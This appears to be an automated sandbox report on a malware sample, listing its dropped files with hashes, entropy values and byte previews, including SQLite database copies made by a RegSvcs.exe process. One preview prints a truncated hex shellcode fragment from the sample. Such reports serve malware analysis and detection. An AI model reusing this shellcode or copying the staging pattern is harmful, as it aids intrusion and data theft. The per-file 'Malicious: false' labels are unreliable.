MD5:	8221C8FF5511971A9B54B830010CED5E
SHA1:	B53B50A051C9DEF8E1B38A450789CB81CF309A90
SHA-256:	2D297DD92E494726AC2CA9B12E8CF8A65880630B2E0656F6005167A1E0B0F735
SHA-512:	274A48AF6149B34188E9ABD94354DBAF3A49B6DA17A53C04A06999AB1574383061D4DBB013489B18273886BEE9D923620D425609996F84296F1FE6BD3C26D81F
Malicious:	false
Preview:	4.4.3.4.5.9.5.8.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Temp\Keily

Download File

Process:	C:\Users\user\AppData\Roaming\notorious53209.exe
File Type:	data
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	7.014747102810205
Encrypted:	false
SSDEEP:	1536:3f3IwWiew9JOnlc9exhXLpLiw5kvYBnuRJd4d89cpmnn/amKyQH4b:v4wWcJOl0yfLi6RBnGQdCcSTKyw4b
MD5:	F19534A061ECC70BB81126F953505D72
SHA1:	C1613560EA60D1A0407BA6B06EEA10C874512A48
SHA-256:	97D29F1E5E3BB5C8C1EB956C0135A820825973869C1B098705490010E0216FA8
SHA-512:	C9828341199C910F8661A1A6FBFC28C7A00D88C9378247DD57A154906E191AF63E1AB793253A14DE1FE764C28703A48F75CCF16E9840941A2B4A221E23C6F8C6
Malicious:	false
Preview:	.i.HYIY1QKJ6..UV.37LPNA1.3BHZIY1UKJ6DTUVS37LPNA1S3BHZIY1UKJ6.TUV],.BP.H.r.C..h.Y<8jF6;2$2^./1 /^'. -z;,_u"$....v>\S)~CL;w3BHZIY1..J6.UVV.;.PNA1S3BH.I[0^Jz6D TVS;7LPNA1m.CHZiY1UKJ6DT.VS.7LPLA1W3BHZIY1QKJ6DTUVS.6LPLA1S3BHYI..UKZ6DDUVS3'LP^A1S3BHJIY1UKJ6DTUV..6L.NA1S.CH.MY1UKJ6DTUVS37LPNA1S.CHVIY1UKJ6DTUVS37LPNA1S3BHZIY1UKJ6DTUVS37LPNA1S3BHZIY1UkJ6LTUVS37LPNA1[.BH.IY1UKJ6DTUV}GR4$NA1.@CHZiY1U?K6DVUVS37LPNA1S3BHzIYQ{99D'TUV.77LP.@1S5BHZ?X1UKJ6DTUVS37L.NAq}A'$5*Y1YKJ6D.TVS17LP2@1S3BHZIY1UKJ6.TU.S37LPNA1S3BHZIY1u.K6DTUV.37LRND1.BHj.Y1VKJ6.TUPS37LPNA1S3BHZIY1UKJ6DTUVS37LPNA1S3BHZIY1UKJ6DTUVH.>LpMA1R3BY)HY1_AHHGTURv. j.LA1W.DXZI_BWKJ<a.VVS7.MPNj^W3BBQq.3UKMYATU\D$..XNA0v%]B.@Y1Tn.<ETQ~U37F#IA1Y.g_D.P1UJo.FUUR{57LZ=F1S9.mBT.8UKK..STVW.1LPD26S3H.rHX1S$B6D^Yn.17LBLi8S3HE)@Y1SXNEhUUP@6&H.DA1YNCHZM';UK@%BEQ_ 87LZfM1S9-EZISLTKJ2UP.WS33S_.H1S2g.HHY5}MJ6N'RVS9XBPNK.I-.AZIX...J6@\|SVS9DKPNK"U..AEw.8UKK...UVW.1LPD26S3H:[IYA+AJ6N\|ZVS9.\PNK^]3BBwGH5.JJ6@\|QWS5.@AJ:0S3F`YHY7FM[0lEUVY.aMPNP7E\PHZCJ9GCb%DT_9

C:\Users\user\AppData\Local\Temp\autC3CC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\notorious53209.exe
File Type:	data
Category:	dropped
Size (bytes):	77430
Entropy (8bit):	7.847295981704258
Encrypted:	false
SSDEEP:	1536:h7JUSmTdZHmVysGL4cdNtKFk8MfCCaeQ6++dzexRW0vqN:h7QZGVysGLDvQffC9Xyxs0vM
MD5:	30AB7658AD775CB44E4B08C7EBC12A2C
SHA1:	5D14B0BFB0AE504148EDC517F41DC0A5992ED935
SHA-256:	8FAD249F983DBF5CAAEF3D72A53210F4A1B2BE6D81B2EB3A59CF7151BF5666C1
SHA-512:	DCB6707E2290CBC21F4C3015E249001AB87A5A26945F4AE9E57D067C8FC135FA1847929F58B1039F9D0A2EB5FC50129B9DD47AF43EA9E4CFC2102EE762A91A70
Malicious:	false
Preview:	EA06..~..ZzT..&.1...Sm..V.....:.1...T....U..(.J.Z..1....x...vY..T?T....C.e.....qj.M.s)$....d....' ..r...E$.@#pk...S..t....#0Xum.......x....&.0.R.Sj$..V....1m.P...H....j.L.`.Pf5p...@5...@..f...Uiu............)@....f..8....0......C.U.B? ....J.S..;[... ...h.)...`...63?...`....I..os...N.`cf.....1..@...`....S.7...O$..3.....8& ....Q.A.X..G.u.R..(...R.Q&>\|...j.Vf5`...T...<?.... s.e.A..t..Y...4.E..U.]...T.....+..M~.W.....Z.S....u....P.7...K..h5J.r.$.pk.....%......n.O(.J...3..t.......J..J....Z.J.5..+S.4.9.[hUN..K...:.Z.....I..3.z.T...$.M.....@P......E..0.:.:.h..j........0.....'..it.-..Q..'.......Kh..MN.T..UZ...S...u.."cS.Y...Efk}....=J.S..(U.u.;I...5.Mb)..R....L.`.R....V1...n....U@=:..k4.].. .V....p...W@H....5.R....^.5.P(4...3.X+4...M..-.Z.Z..........P.V.t....b.........*.i.H.Xi.....0....O....J.>.X...5...D.S-..p....H.....W%1.L.S..l.:u.5@...\|.#T..$..-Jsq.M.T.]Bk...)..\|.V.pR(.?..d....U........@.e2.5..h3j%JMJ.`&UZu.kv.Um.JX....I(.J.....]y.I.Noj..

C:\Users\user\AppData\Local\Temp\autC3FC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\notorious53209.exe
File Type:	data
Category:	dropped
Size (bytes):	9840
Entropy (8bit):	7.599061336130256
Encrypted:	false
SSDEEP:	192:6ZxWQa8nm1Wh8fpWAsdzNasmdge/rEoTyRLB7bNZUDLrMZkn:6Zx3a8nmYhzd0smr/rEvRLtZeDXMZo
MD5:	DD1E8868F31121B176C168A4A1B48E63
SHA1:	1A57A6B5DA768E963166B07A13A38EEC98F0878F
SHA-256:	D36E5C68763ED63F3068F5330F4D80488A0294C05663C30ADE57E017EA50F842
SHA-512:	F95B66FBDD3DD81861189ACC96A2C3121493C8109D37C29C68C99B572A37C551AAA44A8632985F4C8335E02D9B33F2C9501791FA3084310031E6E5417B1A6096
Malicious:	false
Preview:	EA06..pT..h.I..D.P..)..q1..htZ..g6.M.SY..mD.Mf.y..e2..&3y..9.M.....9..4i...4...9..8.P.T:4.1.L/.Y...e..&6[...0.L..I..k7.N&. ..a0.M.....q4.Nf.P.....K..d.%...p.lY@.......c.Xf.0.o..b.L.`...,S....f.I...a..-vk5.........6.l,`........fs;....`....g.I......l..]..f.`...9\|....p.1..... ..$h.c.....#@...H,....`..k0.H.f. ...<zk5....!9.B...3p.n.f.I..q7.t.,. ....4....`....8.........c....P....0.... ..Y@....../Z..-zs5...jq7...zl........V....#.p..N&...M.^.9.....7.:..w.......7...}3p#..oc...f.P./....J.v.5..@{...........a..f.....`.Y..`...&.......x...u\| .....Y,@=.%.d....&.)...,S`./..8....@..%....Y@..;...#.Y,s ./.k5...4.;...K.4\|.;..g.c....c..&.i....x.&.k...c.Y'3Y...@}.4..3.....33...se.M'.@C`..s....e.,..h........Y.......Y.$.p.Y...f.e...8.....2...@.;1.X.`..L' ..........@.37.Ll.K.......9d..,vd.....i2........#. ....3a..g.`j.....Bvf.....@R.r"p.h.s.....,vf......t.L@...40.....f....N&3....4..@.6.-..p..S.-..2...S0.N.@.;5.`..9.M,`...k8.....c.P..Yf3.wx.....vl......@.E....N.y6....p.c3.%..4..b

C:\Users\user\AppData\Local\Temp\lophophorine

Download File

Process:	C:\Users\user\AppData\Roaming\notorious53209.exe
File Type:	ASCII text, with very long lines (28756), with no line terminators
Category:	dropped
Size (bytes):	28756
Entropy (8bit):	3.5909811262375784
Encrypted:	false
SSDEEP:	768:AiTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNbA+IL26cz24vfF3if6gn:AiTZ+2QoioGRk6ZklputwjpjBkCiw2RC
MD5:	C2214B487E6119B5226D591926532EE9
SHA1:	D9A27C71655D441A47A92AA63AAD433F25625FB5
SHA-256:	33CE9852B482618CCE0E5C282FD710E02400CB310CEE839537DB9C2585167ADB
SHA-512:	0AB7541E705BC233A5F834C271C4888CC0F3DA45A7E10E659391CEFEF3082F7D993D94E79629111B35B4D8AFC3BACB83EA0BF57BA737C1B6D956825EF2A7C939
Malicious:	false
Preview:	A9E499CD8C02898115CEA73647257D6D456782227821727D946E9B8E916AF2AC47BE395D80BBCF6E100x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffff

C:\Users\user\AppData\Local\Temp\tmp185A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp27E3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp33BE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\tmp3D9E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4CF5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3008001, page size 32768, writer version 2, read version 2, file counter 5, database pages 4, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.07093764277882578
Encrypted:	false
SSDEEP:	12:DgIfgbz+Kh0sFcw23FmdAc/OPVJXfPNn43etRRIYRJxeYaNcDakMGz:DCf1ysFZ232ANVpP9TJKN0MG
MD5:	37F03D0EB1744FFEBCF26E3DB4A4280F
SHA1:	0B120B18B36AD6A64C27D3845A5871D10568C92E
SHA-256:	4D7F53C9B0D3757074542B9EB246FA5242456418394DAD90D23CB0CE8D664040
SHA-512:	49397393F2E9B43A696606EACCAB285165AD7919C1C0D1BC62B42B6C2DD564AA352E49D1172CCEAEF41F6D1D7856523F96D009CE9EA0968017FAE662167CA5A0
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-.......}..~!..}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D44.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3008001, page size 32768, writer version 2, read version 2, file counter 5, database pages 4, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	modified
Size (bytes):	131072
Entropy (8bit):	0.07093764277882578
Encrypted:	false
SSDEEP:	12:DgIfgbz+Kh0sFcw23FmdAc/OPVJXfPNn43etRRIYRJxeYaNcDakMGz:DCf1ysFZ232ANVpP9TJKN0MG
MD5:	37F03D0EB1744FFEBCF26E3DB4A4280F
SHA1:	0B120B18B36AD6A64C27D3845A5871D10568C92E
SHA-256:	4D7F53C9B0D3757074542B9EB246FA5242456418394DAD90D23CB0CE8D664040
SHA-512:	49397393F2E9B43A696606EACCAB285165AD7919C1C0D1BC62B42B6C2DD564AA352E49D1172CCEAEF41F6D1D7856523F96D009CE9EA0968017FAE662167CA5A0
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-.......}..~!..}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp52DB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp530B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp531B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6274.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6E10.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\tmp6E21.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	16429
Entropy (8bit):	7.926773617204646
Encrypted:	false
SSDEEP:	384:tyXxo8qWds8PL8wi4OEwH8TIbE91r2fR3JYovij7XCnp:tcxIq5P3DOqnYJZ1vO7XCp
MD5:	9EDC82805ECC2D30F07D99973883C3C6
SHA1:	877FAE637A454593A1B66BFEDE20356803833266
SHA-256:	927E8668D7E5B22D0D278CB66ECBB15A51420F2FC5299AAA324D43A7D04719A2
SHA-512:	B24ED91E3F53FE2CFC0B0FDAEBCD495CBC878507187A802ED019736BE707D5D832F149360DBA0CFD394DF5E0406BD979FDA5AFF4357FE4E2BEDE514098FC8CF3
Malicious:	false
Preview:	PK.........H.X...7U... .......[Content_Types].xmlUT....6yf.6yf.6yf...n.0.E...............e.T....U.<...;!.U.%U.M.d..sgby0ZW.[BB.\|!.yOd.u0....>y...Iy.\.P.........M..X..s.x/%.9T....s...R.i&...j....:x.O].=.p...Z8....I.......U....Z........r.s....B.$...;.+.&Y..X%zQ.w.UHF....+..6.r.......-....w^.\|_......H..x....1<k.)D.L:....1`.."B"{...D.....[#..wh...clmZ.%.&j...c.[C.`.v...3....!.c._.E.>p...~.~.PK.........H.X........N......._rels/.relsUT....6yf.6yf.6yf...j.0.@....Q....N/c......[IL...j...<...].aG....zs.Fu..]...U......^.[..x.....1x.p.....f..#I)..Y.............D...i")..c$...qU...~3..1..jH[{..=E......~.f?..3-....].T.2.j).,.l0/%..b......z.....,..../.\|f\.Z....?6.!Y._.o..]A..PK.........H.X.d.Q....1.......word/_rels/document.xml.relsUT....6yf.6yf.6yf...N.0.E.H..5{.<..:.J.B...<.c[.)....RQU]d9.s.H^.?.+.1R.".A.3..]....<. ...;T0"....Z=.......Dq..c.K).t8h.\|@.^....i......."..d.2.<b.m. n.[......o....7........{A.t.%..-..I.%"..".9E..].P.....a>W.?g=.].k?..aq..nN..;...N

C:\Users\user\AppData\Local\Temp\tmp6E21.tmp:Zone.Identifier

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
